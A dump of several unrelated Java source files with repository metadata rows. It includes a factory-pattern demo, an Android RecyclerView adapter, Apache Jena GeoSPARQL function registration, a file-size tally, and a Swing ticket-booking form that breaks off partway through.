import com.javaaround.dpattern.factorypattern.ColorFactory;
import com.javaaround.dpattern.factorypattern.Color;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.w3c.dom.Node;
import org.w3c.dom.Element;
import java.io.File;
/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args )
{
System.out.println("Hello World");
//usage of abstract factory pattern
AbstractFactory colorFactory = FactoryFinder.getFactory("COLOR");
Color color = colorFactory.getColor("RED");
color.fill();
}
}
| 890 | 0.753933 | 0.749438 | 32 | 26.8125 | 22.405966 | 74 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.5625 | false | false | 15 |
59325652f501c0ac596b10a58d30cdb0f99f2de3 | 38,336,878,090,696 | 615123e2761d2a9243fc1a6981fe236cad49977d | /genericrecycler/src/main/java/com/example/genericrecycleradapter/adapter/GenericAdapter.java | 8ce3a456bfbf4f7f730b2a554fe8eb4ff7b8a071 | [] | no_license | shua3343/Android-GenericRecyclerAdapter | https://github.com/shua3343/Android-GenericRecyclerAdapter | fd68ee9afc3fda21b3aecb4f78304e6098a4a721 | d16b49c3ffe2e5307a496b2daacf1aef813ab75f | refs/heads/master | 2020-07-17T00:43:49.384000 | 2020-04-10T04:43:13 | 2020-04-10T04:43:13 | 205,903,913 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.genericrecycleradapter.adapter;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import androidx.annotation.LayoutRes;
import androidx.annotation.NonNull;
import androidx.recyclerview.widget.RecyclerView;
import java.util.List;
public class GenericAdapter<T> extends GenericAdapterConfiguration<T> {
public GenericAdapter(@LayoutRes int itemView, List<T> contentObjects) {
super(itemView, contentObjects);
}
@NonNull
@Override
public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
View view = LayoutInflater
.from(parent.getContext())
.inflate(getItemView(),
parent,
false);
if (missingIds()) {
try {
configureIds((ViewGroup) view);
} catch (Exception e) {
e.printStackTrace();
}
}
return new GenericAdapterViewHolder(view);
}
@Override
public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) {
configureLayout(holder.itemView, position);
}
@Override
public int getItemCount() {
return getContentObjectsSize();
}
public static class GenericAdapterViewHolder extends RecyclerView.ViewHolder {
GenericAdapterViewHolder(View view) {
super(view);
}
}
}
| UTF-8 | Java | 1,479 | java | GenericAdapter.java | Java | [] | null | [] | package com.example.genericrecycleradapter.adapter;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import androidx.annotation.LayoutRes;
import androidx.annotation.NonNull;
import androidx.recyclerview.widget.RecyclerView;
import java.util.List;
public class GenericAdapter<T> extends GenericAdapterConfiguration<T> {
public GenericAdapter(@LayoutRes int itemView, List<T> contentObjects) {
super(itemView, contentObjects);
}
@NonNull
@Override
public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
View view = LayoutInflater
.from(parent.getContext())
.inflate(getItemView(),
parent,
false);
if (missingIds()) {
try {
configureIds((ViewGroup) view);
} catch (Exception e) {
e.printStackTrace();
}
}
return new GenericAdapterViewHolder(view);
}
@Override
public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) {
configureLayout(holder.itemView, position);
}
@Override
public int getItemCount() {
return getContentObjectsSize();
}
public static class GenericAdapterViewHolder extends RecyclerView.ViewHolder {
GenericAdapterViewHolder(View view) {
super(view);
}
}
}
| 1,479 | 0.64503 | 0.64503 | 54 | 26.388889 | 24.685741 | 96 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.425926 | false | false | 15 |
f48b04a59b7b99a0190a2801c8da8de36266b330 | 35,124,242,580,601 | 82e2fa3b1128edc8abd2bd84ecfc01c932831bc0 | /jena-geosparql/src/main/java/org/apache/jena/geosparql/implementation/function_registration/Spatial.java | 72704b3ed6bfc8f711f5f7fc17a2d47f5e342c70 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | apache/jena | https://github.com/apache/jena | b64f6013582f2b5aa38d1c9972d7b14e55686316 | fb41e79d97f065b8df9ebbc6c69b3f983b6cde04 | refs/heads/main | 2023-08-14T15:16:21.086000 | 2023-08-03T08:34:08 | 2023-08-03T08:34:08 | 7,437,073 | 966 | 760 | Apache-2.0 | false | 2023-09-02T09:04:08 | 2013-01-04T08:00:32 | 2023-09-01T09:23:38 | 2023-09-02T09:04:07 | 456,635 | 982 | 625 | 53 | Java | false | false | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.jena.geosparql.implementation.function_registration;
import org.apache.jena.geosparql.implementation.vocabulary.SpatialExtension;
import org.apache.jena.geosparql.spatial.filter_functions.AngleDegreesFF;
import org.apache.jena.geosparql.spatial.filter_functions.AngleFF;
import org.apache.jena.geosparql.spatial.filter_functions.AzimuthDegreesFF;
import org.apache.jena.geosparql.spatial.filter_functions.AzimuthFF;
import org.apache.jena.geosparql.spatial.filter_functions.ConvertLatLonBoxFF;
import org.apache.jena.geosparql.spatial.filter_functions.ConvertLatLonFF;
import org.apache.jena.geosparql.spatial.filter_functions.DistanceFF;
import org.apache.jena.geosparql.spatial.filter_functions.EqualsFF;
import org.apache.jena.geosparql.spatial.filter_functions.GreatCircleFF;
import org.apache.jena.geosparql.spatial.filter_functions.GreatCircleGeomFF;
import org.apache.jena.geosparql.spatial.filter_functions.NearbyFF;
import org.apache.jena.geosparql.spatial.filter_functions.TransformDatatypeFF;
import org.apache.jena.geosparql.spatial.filter_functions.TransformFF;
import org.apache.jena.geosparql.spatial.filter_functions.TransformSRSFF;
import org.apache.jena.geosparql.spatial.property_functions.EqualsPF;
import org.apache.jena.geosparql.spatial.property_functions.box.IntersectBoxGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.box.IntersectBoxPF;
import org.apache.jena.geosparql.spatial.property_functions.box.WithinBoxGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.box.WithinBoxPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.EastGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.EastPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.NorthGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.NorthPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.SouthGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.SouthPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.WestGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.WestPF;
import org.apache.jena.geosparql.spatial.property_functions.nearby.NearbyGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.nearby.NearbyPF;
import org.apache.jena.sparql.function.FunctionRegistry;
import org.apache.jena.sparql.pfunction.PropertyFunctionRegistry;
/**
*
*
*/
public class Spatial {
/**
* This method loads all the Jena Spatial Property Functions
*
* @param registry - the PropertyFunctionRegistry to be used
*/
public static void loadPropertyFunctions(PropertyFunctionRegistry registry) {
registry.put(SpatialExtension.EQUALS_PROP, EqualsPF.class);
registry.put(SpatialExtension.NEARBY_PROP, NearbyPF.class);
registry.put(SpatialExtension.NEARBY_GEOM_PROP, NearbyGeomPF.class);
registry.put(SpatialExtension.WITHIN_CIRCLE_PROP, NearbyPF.class);
registry.put(SpatialExtension.WITHIN_CIRCLE_GEOM_PROP, NearbyGeomPF.class);
registry.put(SpatialExtension.WITHIN_BOX_PROP, WithinBoxPF.class);
registry.put(SpatialExtension.WITHIN_BOX_GEOM_PROP, WithinBoxGeomPF.class);
registry.put(SpatialExtension.INTERSECT_BOX_PROP, IntersectBoxPF.class);
registry.put(SpatialExtension.INTERSECT_BOX_GEOM_PROP, IntersectBoxGeomPF.class);
registry.put(SpatialExtension.NORTH_PROP, NorthPF.class);
registry.put(SpatialExtension.NORTH_GEOM_PROP, NorthGeomPF.class);
registry.put(SpatialExtension.SOUTH_PROP, SouthPF.class);
registry.put(SpatialExtension.SOUTH_GEOM_PROP, SouthGeomPF.class);
registry.put(SpatialExtension.EAST_PROP, EastPF.class);
registry.put(SpatialExtension.EAST_GEOM_PROP, EastGeomPF.class);
registry.put(SpatialExtension.WEST_PROP, WestPF.class);
registry.put(SpatialExtension.WEST_GEOM_PROP, WestGeomPF.class);
}
/**
* This method loads all the Jena Spatial Filter Functions
*
* @param functionRegistry
*/
public static void loadFilterFunctions(FunctionRegistry functionRegistry) {
functionRegistry.put(SpatialExtension.EQUALS, EqualsFF.class);
functionRegistry.put(SpatialExtension.CONVERT_LAT_LON, ConvertLatLonFF.class);
functionRegistry.put(SpatialExtension.CONVERT_LAT_LON_BOX, ConvertLatLonBoxFF.class);
functionRegistry.put(SpatialExtension.NEARBY, NearbyFF.class);
functionRegistry.put(SpatialExtension.WITHIN_CIRCLE, NearbyFF.class);
functionRegistry.put(SpatialExtension.ANGLE, AngleFF.class);
functionRegistry.put(SpatialExtension.ANGLE_DEGREES, AngleDegreesFF.class);
functionRegistry.put(SpatialExtension.DISTANCE, DistanceFF.class);
functionRegistry.put(SpatialExtension.AZIMUTH, AzimuthFF.class);
functionRegistry.put(SpatialExtension.AZIMUTH_DEGREES, AzimuthDegreesFF.class);
functionRegistry.put(SpatialExtension.GREAT_CIRCLE, GreatCircleFF.class);
functionRegistry.put(SpatialExtension.GREAT_CIRCLE_GEOM, GreatCircleGeomFF.class);
functionRegistry.put(SpatialExtension.TRANSFORM_DATATYPE, TransformDatatypeFF.class);
functionRegistry.put(SpatialExtension.TRANSFORM_SRS, TransformSRSFF.class);
functionRegistry.put(SpatialExtension.TRANSFORM, TransformFF.class);
}
}
| UTF-8 | Java | 6,249 | java | Spatial.java | Java | [] | null | [] | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.jena.geosparql.implementation.function_registration;
import org.apache.jena.geosparql.implementation.vocabulary.SpatialExtension;
import org.apache.jena.geosparql.spatial.filter_functions.AngleDegreesFF;
import org.apache.jena.geosparql.spatial.filter_functions.AngleFF;
import org.apache.jena.geosparql.spatial.filter_functions.AzimuthDegreesFF;
import org.apache.jena.geosparql.spatial.filter_functions.AzimuthFF;
import org.apache.jena.geosparql.spatial.filter_functions.ConvertLatLonBoxFF;
import org.apache.jena.geosparql.spatial.filter_functions.ConvertLatLonFF;
import org.apache.jena.geosparql.spatial.filter_functions.DistanceFF;
import org.apache.jena.geosparql.spatial.filter_functions.EqualsFF;
import org.apache.jena.geosparql.spatial.filter_functions.GreatCircleFF;
import org.apache.jena.geosparql.spatial.filter_functions.GreatCircleGeomFF;
import org.apache.jena.geosparql.spatial.filter_functions.NearbyFF;
import org.apache.jena.geosparql.spatial.filter_functions.TransformDatatypeFF;
import org.apache.jena.geosparql.spatial.filter_functions.TransformFF;
import org.apache.jena.geosparql.spatial.filter_functions.TransformSRSFF;
import org.apache.jena.geosparql.spatial.property_functions.EqualsPF;
import org.apache.jena.geosparql.spatial.property_functions.box.IntersectBoxGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.box.IntersectBoxPF;
import org.apache.jena.geosparql.spatial.property_functions.box.WithinBoxGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.box.WithinBoxPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.EastGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.EastPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.NorthGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.NorthPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.SouthGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.SouthPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.WestGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.cardinal.WestPF;
import org.apache.jena.geosparql.spatial.property_functions.nearby.NearbyGeomPF;
import org.apache.jena.geosparql.spatial.property_functions.nearby.NearbyPF;
import org.apache.jena.sparql.function.FunctionRegistry;
import org.apache.jena.sparql.pfunction.PropertyFunctionRegistry;
/**
*
*
*/
public class Spatial {
/**
* This method loads all the Jena Spatial Property Functions
*
* @param registry - the PropertyFunctionRegistry to be used
*/
public static void loadPropertyFunctions(PropertyFunctionRegistry registry) {
registry.put(SpatialExtension.EQUALS_PROP, EqualsPF.class);
registry.put(SpatialExtension.NEARBY_PROP, NearbyPF.class);
registry.put(SpatialExtension.NEARBY_GEOM_PROP, NearbyGeomPF.class);
registry.put(SpatialExtension.WITHIN_CIRCLE_PROP, NearbyPF.class);
registry.put(SpatialExtension.WITHIN_CIRCLE_GEOM_PROP, NearbyGeomPF.class);
registry.put(SpatialExtension.WITHIN_BOX_PROP, WithinBoxPF.class);
registry.put(SpatialExtension.WITHIN_BOX_GEOM_PROP, WithinBoxGeomPF.class);
registry.put(SpatialExtension.INTERSECT_BOX_PROP, IntersectBoxPF.class);
registry.put(SpatialExtension.INTERSECT_BOX_GEOM_PROP, IntersectBoxGeomPF.class);
registry.put(SpatialExtension.NORTH_PROP, NorthPF.class);
registry.put(SpatialExtension.NORTH_GEOM_PROP, NorthGeomPF.class);
registry.put(SpatialExtension.SOUTH_PROP, SouthPF.class);
registry.put(SpatialExtension.SOUTH_GEOM_PROP, SouthGeomPF.class);
registry.put(SpatialExtension.EAST_PROP, EastPF.class);
registry.put(SpatialExtension.EAST_GEOM_PROP, EastGeomPF.class);
registry.put(SpatialExtension.WEST_PROP, WestPF.class);
registry.put(SpatialExtension.WEST_GEOM_PROP, WestGeomPF.class);
}
/**
* This method loads all the Jena Spatial Filter Functions
*
* @param functionRegistry
*/
public static void loadFilterFunctions(FunctionRegistry functionRegistry) {
functionRegistry.put(SpatialExtension.EQUALS, EqualsFF.class);
functionRegistry.put(SpatialExtension.CONVERT_LAT_LON, ConvertLatLonFF.class);
functionRegistry.put(SpatialExtension.CONVERT_LAT_LON_BOX, ConvertLatLonBoxFF.class);
functionRegistry.put(SpatialExtension.NEARBY, NearbyFF.class);
functionRegistry.put(SpatialExtension.WITHIN_CIRCLE, NearbyFF.class);
functionRegistry.put(SpatialExtension.ANGLE, AngleFF.class);
functionRegistry.put(SpatialExtension.ANGLE_DEGREES, AngleDegreesFF.class);
functionRegistry.put(SpatialExtension.DISTANCE, DistanceFF.class);
functionRegistry.put(SpatialExtension.AZIMUTH, AzimuthFF.class);
functionRegistry.put(SpatialExtension.AZIMUTH_DEGREES, AzimuthDegreesFF.class);
functionRegistry.put(SpatialExtension.GREAT_CIRCLE, GreatCircleFF.class);
functionRegistry.put(SpatialExtension.GREAT_CIRCLE_GEOM, GreatCircleGeomFF.class);
functionRegistry.put(SpatialExtension.TRANSFORM_DATATYPE, TransformDatatypeFF.class);
functionRegistry.put(SpatialExtension.TRANSFORM_SRS, TransformSRSFF.class);
functionRegistry.put(SpatialExtension.TRANSFORM, TransformFF.class);
}
}
| 6,249 | 0.792607 | 0.791967 | 109 | 56.330276 | 30.298229 | 93 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.93578 | false | false | 15 |
5c68f086b5ee58d051b8a3d7977e8efb438199ed | 23,227,183,175,632 | 591e5c87ec771a838e0338f8fd5736b2446439b8 | /src/SolutionCalculateMemory.java | 6bfee6ff52b19b4a39c861f38a8c38de2c3e6856 | [] | no_license | Nhiphat/TestJavaKBTG | https://github.com/Nhiphat/TestJavaKBTG | 84db19419121d832c5f2c88196b8ed5409946b72 | 08a509a9efc592571711eae4bdb11257f45370be | refs/heads/master | 2020-12-30T04:50:30.724000 | 2020-02-17T11:19:06 | 2020-02-17T11:19:06 | 238,866,230 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import java.util.ArrayList;
import java.util.Map;
public class SolutionCalculateMemory {
private String s;
public SolutionCalculateMemory(String s) {
this.s = s;
}
public String getS() {
return s;
}
public void setS(String s) {
this.s = s;
}
public String solution(String s){
ArrayList<String> ss= new ArrayList<>();
int musicSize = 0;
int imageSize = 0;
int movieSize = 0;
int otherSize = 0;
String[] lines = s.split("\\r?\\n");
for(String line:lines){
System.out.println(line);
if(line.substring(line.lastIndexOf('.')+1,line.indexOf(" ")).equals("mp3")){
musicSize = musicSize + Integer.parseInt(line.substring(line.indexOf(" ")+1, line.length()-1));
}
if(line.substring(line.lastIndexOf('.'),line.indexOf(" ")).equals(".jpg")){
imageSize = imageSize + Integer.parseInt(line.substring(line.indexOf(" ")+1, line.length()-1));
}
if(line.substring(line.lastIndexOf('.'),line.indexOf(" ")).equals(".mp4")){
movieSize = movieSize + Integer.parseInt(line.substring(line.indexOf(" ")+1, line.length()-1));
}
if(line.substring(line.lastIndexOf('.'),line.indexOf(" ")).equals(".7z")){
otherSize = otherSize + Integer.parseInt(line.substring(line.indexOf(" ")+1, line.length()-1));
}
}
return "music "+musicSize+"b"+"\n" +
"images "+imageSize+"b"+"\n"+
"movies "+movieSize+"b"+"\n"+
"other "+otherSize+"b"+"\n";
}
}
| UTF-8 | Java | 1,665 | java | SolutionCalculateMemory.java | Java | [] | null | [] | import java.util.ArrayList;
import java.util.Map;
public class SolutionCalculateMemory {
private String s;
public SolutionCalculateMemory(String s) {
this.s = s;
}
public String getS() {
return s;
}
public void setS(String s) {
this.s = s;
}
public String solution(String s){
ArrayList<String> ss= new ArrayList<>();
int musicSize = 0;
int imageSize = 0;
int movieSize = 0;
int otherSize = 0;
String[] lines = s.split("\\r?\\n");
for(String line:lines){
System.out.println(line);
if(line.substring(line.lastIndexOf('.')+1,line.indexOf(" ")).equals("mp3")){
musicSize = musicSize + Integer.parseInt(line.substring(line.indexOf(" ")+1, line.length()-1));
}
if(line.substring(line.lastIndexOf('.'),line.indexOf(" ")).equals(".jpg")){
imageSize = imageSize + Integer.parseInt(line.substring(line.indexOf(" ")+1, line.length()-1));
}
if(line.substring(line.lastIndexOf('.'),line.indexOf(" ")).equals(".mp4")){
movieSize = movieSize + Integer.parseInt(line.substring(line.indexOf(" ")+1, line.length()-1));
}
if(line.substring(line.lastIndexOf('.'),line.indexOf(" ")).equals(".7z")){
otherSize = otherSize + Integer.parseInt(line.substring(line.indexOf(" ")+1, line.length()-1));
}
}
return "music "+musicSize+"b"+"\n" +
"images "+imageSize+"b"+"\n"+
"movies "+movieSize+"b"+"\n"+
"other "+otherSize+"b"+"\n";
}
}
| 1,665 | 0.536336 | 0.526727 | 46 | 35.195652 | 32.931168 | 111 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.565217 | false | false | 15 |
8570fedb27ff11e39511489c43e6fb323d9eb941 | 8,718,783,665,429 | 254ccba6ed22fd8096f91a8b90d2835fad7941d3 | /bookings.java | fb5128b5b554201d7d25303e86cc9789c93dfe1a | [] | no_license | aakarshachug19/theme-park-management | https://github.com/aakarshachug19/theme-park-management | ea0962f56f459cf4eafcb4ed78814c26ba77d2d2 | ed7b3780de02d5cf6bf07996c0eb9047585ae1cb | refs/heads/master | 2021-07-10T12:46:14.018000 | 2017-10-13T18:17:54 | 2017-10-13T18:17:54 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Vector;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.TableModel;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author Lenovo
*/
public class bookings extends javax.swing.JInternalFrame {
/**
* Creates new form bookings
*/Connection con;
ArrayList discountlist = new ArrayList();
ArrayList couponlist = new ArrayList();
ArrayList packlist = new ArrayList();
int chk,flag;
Validations val;
Vector data;
String empid;
public bookings(Connection con,String empid) {
initComponents();
this.con = con;
this.empid=empid;
chk=0;
flag=0;
filldiscount();
fillpackage();
val = new Validations();
data=new Vector();
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jSlider1 = new javax.swing.JSlider();
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
txtname = new javax.swing.JTextField();
txtbookid = new javax.swing.JTextField();
txtcontact = new javax.swing.JTextField();
cmbpack = new javax.swing.JComboBox<>();
cmbdiscount = new javax.swing.JComboBox<>();
jLabel9 = new javax.swing.JLabel();
txttax = new javax.swing.JTextField();
jLabel10 = new javax.swing.JLabel();
txtemail = new javax.swing.JTextField();
jLabel11 = new javax.swing.JLabel();
txtconfirm = new javax.swing.JCheckBox();
jLabel12 = new javax.swing.JLabel();
dob = new org.jdesktop.swingx.JXDatePicker();
jLabel13 = new javax.swing.JLabel();
total2 = new javax.swing.JLabel();
btnbook = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jTable1 = new javax.swing.JTable();
btnadd = new javax.swing.JButton();
jLabel14 = new javax.swing.JLabel();
txtage = new javax.swing.JTextField();
jLabel8 = new javax.swing.JLabel();
jLabel16 = new javax.swing.JLabel();
jLabel7 = new javax.swing.JLabel();
setClosable(true);
getContentPane().setLayout(null);
jLabel1.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel1.setText("Customer Name");
getContentPane().add(jLabel1);
jLabel1.setBounds(45, 76, 120, 18);
getContentPane().add(jLabel2);
jLabel2.setBounds(45, 116, 0, 0);
jLabel3.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel3.setText("Email");
getContentPane().add(jLabel3);
jLabel3.setBounds(45, 276, 90, 18);
jLabel4.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel4.setText("Contact Number");
getContentPane().add(jLabel4);
jLabel4.setBounds(45, 176, 120, 18);
jLabel5.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel5.setText("Package");
getContentPane().add(jLabel5);
jLabel5.setBounds(45, 223, 80, 18);
jLabel6.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel6.setText("Discount");
getContentPane().add(jLabel6);
jLabel6.setBounds(420, 140, 80, 18);
getContentPane().add(txtname);
txtname.setBounds(228, 73, 140, 27);
getContentPane().add(txtbookid);
txtbookid.setBounds(228, 122, 140, 27);
getContentPane().add(txtcontact);
txtcontact.setBounds(228, 173, 140, 27);
getContentPane().add(cmbpack);
cmbpack.setBounds(228, 220, 140, 27);
getContentPane().add(cmbdiscount);
cmbdiscount.setBounds(550, 130, 130, 27);
jLabel9.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel9.setText("Tax");
getContentPane().add(jLabel9);
jLabel9.setBounds(420, 250, 60, 18);
getContentPane().add(txttax);
txttax.setBounds(550, 240, 130, 27);
jLabel10.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel10.setText("Booking Id");
getContentPane().add(jLabel10);
jLabel10.setBounds(45, 125, 90, 18);
getContentPane().add(txtemail);
txtemail.setBounds(228, 273, 140, 27);
jLabel11.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel11.setText("Booking period");
getContentPane().add(jLabel11);
jLabel11.setBounds(420, 290, 110, 18);
txtconfirm.setText("Advance");
getContentPane().add(txtconfirm);
txtconfirm.setBounds(550, 290, 120, 27);
jLabel12.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel12.setText("Date of Booking");
getContentPane().add(jLabel12);
jLabel12.setBounds(45, 338, 120, 18);
dob.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
dobActionPerformed(evt);
}
});
getContentPane().add(dob);
dob.setBounds(228, 334, 146, 27);
jLabel13.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel13.setText("Total");
getContentPane().add(jLabel13);
jLabel13.setBounds(418, 338, 70, 18);
getContentPane().add(total2);
total2.setBounds(544, 338, 105, 0);
btnbook.setBackground(new java.awt.Color(0, 153, 255));
btnbook.setFont(new java.awt.Font("Tw Cen MT Condensed", 1, 24)); // NOI18N
btnbook.setForeground(new java.awt.Color(255, 255, 255));
btnbook.setText("Book");
btnbook.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnbookActionPerformed(evt);
}
});
getContentPane().add(btnbook);
btnbook.setBounds(360, 530, 154, 50);
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
jScrollPane1.setViewportView(jTable1);
getContentPane().add(jScrollPane1);
jScrollPane1.setBounds(30, 400, 664, 92);
btnadd.setBackground(new java.awt.Color(0, 153, 255));
btnadd.setFont(new java.awt.Font("Tw Cen MT Condensed", 1, 24)); // NOI18N
btnadd.setForeground(new java.awt.Color(255, 255, 255));
btnadd.setText("Add");
btnadd.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnaddActionPerformed(evt);
}
});
getContentPane().add(btnadd);
btnadd.setBounds(170, 530, 145, 50);
jLabel14.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel14.setText("Age");
getContentPane().add(jLabel14);
jLabel14.setBounds(420, 200, 60, 18);
getContentPane().add(txtage);
txtage.setBounds(550, 190, 130, 27);
jLabel8.setBackground(new java.awt.Color(255, 204, 51));
jLabel8.setFont(new java.awt.Font("Tw Cen MT Condensed", 1, 48)); // NOI18N
jLabel8.setForeground(new java.awt.Color(0, 204, 204));
jLabel8.setText(" Ticket Booking");
getContentPane().add(jLabel8);
jLabel8.setBounds(170, 10, 450, 50);
jLabel16.setIcon(new javax.swing.ImageIcon(getClass().getResource("/Images/tickpng.png"))); // NOI18N
getContentPane().add(jLabel16);
jLabel16.setBounds(600, 0, 110, 110);
jLabel7.setBackground(new java.awt.Color(255, 255, 255));
jLabel7.setOpaque(true);
getContentPane().add(jLabel7);
jLabel7.setBounds(0, 0, 710, 650);
pack();
}// </editor-fold>//GEN-END:initComponents
private void dobActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_dobActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_dobActionPerformed
private void btnbookActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnbookActionPerformed
try {
String contact = txtcontact.getText();
String email = txtemail.getText();
String age = txtage.getText();
String s="";
if(txtconfirm.isSelected())
{
s= "Advance";
}
else
{
s= "";
}
String dd = null;
int count=0;
TableModel tm = jTable1.getModel();
for (int i = 0; i < jTable1.getRowCount(); i++) {
String bookid = (String) tm.getValueAt(i, 0);
String custname = (String) tm.getValueAt(i, 1);
String dis = (String) tm.getValueAt(i, 2);
String pack = (String) tm.getValueAt(i, 3);
String tax = (String) tm.getValueAt(i, 4);
dd = (String) tm.getValueAt(i, 5);
String price = (String) tm.getValueAt(i, 6);
String sql = "insert into bookings(booking_id, customer_name, email_id, contact_number,discount_id,age,package_id,employee_id,tax,date_of_booking,status,total_price) values(?,?,?,?,?,?,?,?,?,?,?,?)";
PreparedStatement p = con.prepareStatement(sql);
p.setString(1, bookid);
p.setString(2, custname);
p.setString(3, email);
p.setString(4, contact);
p.setString(5, dis);
p.setString(6, age);
p.setString(7, pack);
p.setString(8, empid);
p.setString(9, tax);
p.setString(10, dd);
p.setString(11,s);
p.setString(12,price);
p.executeUpdate();
count++;
}
String subject="test";
String message="<b> Welcome to Theme Park\n</b>\nYour booking is confirmed! with the following details\n Booking Date: "+dd+"Number of tickets: "+count+"<b>Thankyou</b>\n<b>Have Fun Visit Again!</b>";
sendmail m=new sendmail();
m.sendEmail(email,subject,message);
JOptionPane.showMessageDialog(this, "booking confirmed");
} catch (Exception ex) {
Logger.getLogger(bookings.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_btnbookActionPerformed
private void btnaddActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnaddActionPerformed
fillTable();
}//GEN-LAST:event_btnaddActionPerformed
void filldiscount()
{
try{
String query="select * from discount" ;
PreparedStatement ps= con.prepareStatement(query);
ResultSet rs=ps.executeQuery();
String discount_array[]=new String[3];
// discountlist.add(discount_array);
while(rs.next()){
discount_array=new String[3];
discount_array[0]=rs.getString("discount_id");
discount_array[1]=rs.getString("discount_name");
discount_array[2]=rs.getString("discount_percentage");
